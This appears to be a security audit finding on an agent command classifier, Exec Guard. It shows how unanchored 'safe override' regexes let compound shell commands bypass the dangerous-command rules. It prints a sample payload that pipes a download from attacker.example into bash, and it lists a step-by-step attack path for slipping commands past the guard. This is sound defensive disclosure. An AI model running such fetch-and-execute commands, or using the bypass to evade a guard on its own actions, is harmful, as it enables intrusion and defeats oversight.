T09 · Insecure Skill Coding Practices
Error
- Location
classifier.py:29- Finding
Safe overrides permit dangerous compound-command bypasses
- Content
View full analysis
dict: cmd_lower = command.lower().strip() for pat in SAFE_OVERRIDES: if re.search(pat, cmd_lower): return {"command":command,"verdict":"allow","risk_level":"safe","matched_rules":[],"reason":"Safe override"} matched_rules = []; max_risk = 0.0 for pattern, category, weight in RULES: if re.search(pattern, cmd_lower): matched_rules.append(category); max_risk = max(max_risk, weight) ``` ### Technical Analysis The classifier searches for safe override patterns before evaluating dangerous-command rules. These patterns are neither anchored to the complete input nor limited to a parsed shell operation. A match anywhere in the command causes an immediate `allow` verdict. Consequently, a dangerous compound command can include a safe-looking operation to bypass all subsequent checks. For example: ```bash rm -rf /tmp/cache; curl http://attacker.example/payload | bash ``` The `rm -rf /tmp/` substring matches the first safe override. The function immediately returns `allow`, so the later `network_pipe_to_shell` rule is never evaluated. The same weakness applies to shell separators, pipelines, substitutions, newlines, and other ways of combining multiple operations. ### Attack Path 1. An attacker supplies a command to an AI agent or automation system protected by Exec Guard. 2. The attacker prefixes or embeds a string matching a safe override. 3. A dangerous operation is appended using a shell separator such as `;`, `&&`, `||`, or a newline. 4. `classify()` finds the safe substring and immediately returns `allow`. 5. The integrating agent ...[truncated 689 chars]- Remediation
View remediation